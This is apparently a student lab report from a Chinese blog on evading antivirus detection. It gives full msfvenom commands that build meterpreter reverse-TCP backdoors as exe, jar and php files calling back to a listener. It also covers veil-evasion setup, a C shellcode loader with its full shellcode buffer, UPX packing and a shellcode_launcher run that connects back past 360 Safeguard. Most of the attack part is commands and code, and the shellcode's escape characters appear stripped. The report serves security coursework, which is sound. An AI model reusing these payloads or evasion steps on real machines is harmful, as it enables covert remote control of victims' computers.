20174323张加欣-Exp3 免杀原理与实践

1.实验内容及基础知识

1.1  实验内容  

  • 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧。
  • 任务二:通过组合应用各种技术实现恶意代码免杀。
  • 任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。

1.2  基础知识  

恶意代码监测机制:

  • 基于特征码的检测:简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
  • 启发式恶意软件检测:典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
  • 基于行为的恶意软件检测:从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。

免杀:

  • 指的是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广,其中包含反汇编、逆向工程、系统漏洞等黑客技术,所以难度很高,一般人不会或没能力接触这技术的深层内容。其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。

2.任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧。

2.1  正确使用msf编码器,生成exe文件    

  • 在实验二中已经生成的后门程序 20174323_backdoor.exe ,使用 VirusTotal 这个网站进行扫描,扫描结果如下:
  • 由此可见不加任何处理的后门程序能够被大多数杀软检测到,接着使用msf编码器对后门程序进行一次到多次的编码,并进行检测。
  • 生成一次编码的后门程序:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.2.125 LPORT=4323 -f exe > encoded1.exe
  • 生成十次编码的后门程序:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b 'x00' LHOST=192.168.2.125 LPORT=4323 -f exe > encoded10.exe
  • 由此可见,多次编码对于免杀没有太大的帮助。

2.2  msfvenom生成jar文件及其他文件  

  • 输入指令apt-get install ufw msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.2.125 LPORT=4323 x> 20174323jar.jar,生成jar文件。
  • VirusTotal检测结果:
  • 输入指令msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.2.125 LPORT=4323 x> dwt_backdoor.php,生成php文件。
  • VirusTotal检测结果:
  • 还可以生成jsp文件、apk文件等等...

2.3  使用veil-evasion生成后门程序及检测  

  • 使用,进行veil的安装。

  • 安装成功
  • 使用sudo运行veil,输入use evasion,命令进入veil-evasion。

  • 输入指令use c/meterpreter/rev_tcp.py,进入配置界面。

  • 输入  set LHOST 192.168.2.125,设置反弹连接IP地址。输入  set LPORT 4323,设置端口。

  • 使用generate命令生成文件,接着输入生成的playload的名称veil20175317,保存路径为/var/lib/veil/output/source/veil20175317.exe

  • VirusTotal检测结果:

2.4  使用C+shellcode编程生成后门程序  

  • 输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.125 LPORT=4323 -f c,生成shellcode。
  • 创建20174323.c,将buf添加到代码中。
ufwunsigned char buf[] = 
"xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"
"x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff"
"xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf2x52"
"x57x8bx52x10x8bx4ax3cx8bx4cx11x78xe3x48x01xd1"
"x51x8bx59x20x01xd3x8bx49x18xe3x3ax49x8bx34x8b"
"x01xd6x31xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03"
"x7dxf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66x8b"
"x0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24"
"x24x5bx5bx61x59x5ax51xffxe0x5fx5fx5ax8bx12xeb"
"x8dx5dx68x33x32x00x00x68x77x73x32x5fx54x68x4c"
"x77x26x07x89xe8xffxd0xb8x90x01x00x00x29xc4x54"
"x50x68x29x80x6bx00xffxd5x6ax0ax68xc0xa8x7ax88"
"x68x02x00x14xc5x89xe6x50x50x50x50x40x50x40x50"
"x68xeax0fxdfxe0xffxd5x97x6ax10x56x57x68x99xa5"
"x74x61xffxd5x85xc0x74x0axffx4ex08x75xecxe8x67"
"x00x00x00x6ax00x6ax04x56x57x68x02xd9xc8x5fxff"
"xd5x83xf8x00x7ex36x8bx36x6ax40x68x00x10x00x00"
"x56x6ax00x68x58xa4x53xe5xffxd5x93x53x6ax00x56"
"x53x57x68x02xd9xc8x5fxffxd5x83xf8x00x7dx28x58"
"x68x00x40x00x00x6ax00x50x68x0bx2fx0fx30xffxd5"
"x57x68x75x6ex4dx61xffxd5x5ex5exffx0cx24x0fx85"
"x70xffxffxffxe9x9bxffxffxffx01xc3x29xc6x75xc1"
"xc3xbbxf0xb5xa2x56x6ax00x53xffxd5";
int main() 
{ 
    int (*func)() = (int(*)())buf; 
    func(); 
}
  • 输入代码i686-w64-mingw32-g++ 20174323.c -o 20174323.exe,生成exe可执行文件。
  • VirusTotal检测结果:

2.5  加壳工具  

  • 输入指令upx 20174323.exe -o 20174323pro.exe,对20174323.exe加壳。
  • VirusTotal检测结果如下,可以发现加壳以后能够检测出的杀软少了。
  • 使用实验二的方法测试,在 msfconsole 里监听本机端口号,反弹连接成功。

2.6  其他方法  

  • 采用Veil-Evasion的其他荷载生成后门方式
  • 进入evasion,使用list查看可用的有效荷载:

  • 我选择的是第32个荷载,是Python下shellcode在DES下加密一种。

  • 输入option,查看有效荷载的选项。
  • 修改用户名后使用generate生成,选择shellcode平台时选择2:msfvenom,payloads与IP、端口号使用tab自动获取。

  • 输入生成文件的文件名,选择Py2Exe生成exe文件。

  • 之后,生成的rc文件放入了路径/var/lib/veil/output/handlers/中,可执行文件放入了/var/lib/veil/output/source/ 中,VirusTotal检测结果。

3.任务二:通过组合应用各种技术实现恶意代码免杀。

4.任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。

(任务二和任务三放在一起做)

  • 使用Msfvenom生成raw格式的shellcode:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b 'x00' lhost=192.168.145.128 lport=4323 -f raw -o 20174323.raw
  • 打开msfconsole进行监听,输入以下指令:
use exploit/multi/handler         //监听设置payload set payload
set payload windows/meterpreter/reverse_tcp    //使用与生成后门程序一样的payload
set LHOST 192.168.2.125       //Linux端的IP地址 
set LPORT 4323    //与之前输入的端口号一致
exploit    //开始监听
  • 在另一台正常开启杀软的Windows命令提示符输入: shellcode_launcher.exe -i 20174323.raw 
  • 观察到成功回连,杀软没有查杀,且shellcode_launcher.exe和20174323.raw通过检测。
  • Windows版本:Windows 10;杀软:360安全卫士11.4.0.2003

 

5.基础问题回答

5.1  杀软是如何检测出恶意代码的?  

  • 特征代码法:该方法是目前杀毒工具中必备的组成部分。
  • 校验和法:文件完整性保护,主要用于检测系统文件是否被篡改。
  • 行为监测法:监测恶意代码执行时的行为特征,可以识别恶意代码的名称或者是种类,也可以检测未知的恶意代码。

5.2  免杀是做什么?  

  • 免杀是可以使杀毒软件无法检测到其为病毒程序,从而可以使其“正常运行”。

5.3  免杀的基本方法有哪些?  

  • 采用不同的编码方式,或者编码次数。
  • 对编码后生成的文件进行加壳,加压缩壳或者是加密壳。
  • 还可以使用反弹端口,一些防火墙不会对本机发出的请求进行过滤。

5.4  开启杀软能绝对防止电脑中恶意代码吗?  

  • 开启杀软并不能绝对防止电脑中恶意代码,不过及时更新杀软,少打开不安全的链接、少下载盗版软件,还是能大大降低中招的几率。

6.实验心得

       这次的实验还是很有意思的(但是装veil的过程十分艰辛...),虽然对一些现有平台的依赖性很强,但却是一个良好的开端,能够为我们进一步深入研究免杀提供思路。打造免杀软件的过程也增加了危机意识,杀软杀不出来不代表绝对安全,所以平日要提高安全意识,不要随便在网上下载可执行文件,也不要点击可疑链接,尽量减少被植入后门的可能。

原文地址:https://www.cnblogs.com/174323jiaxin/p/12612642.html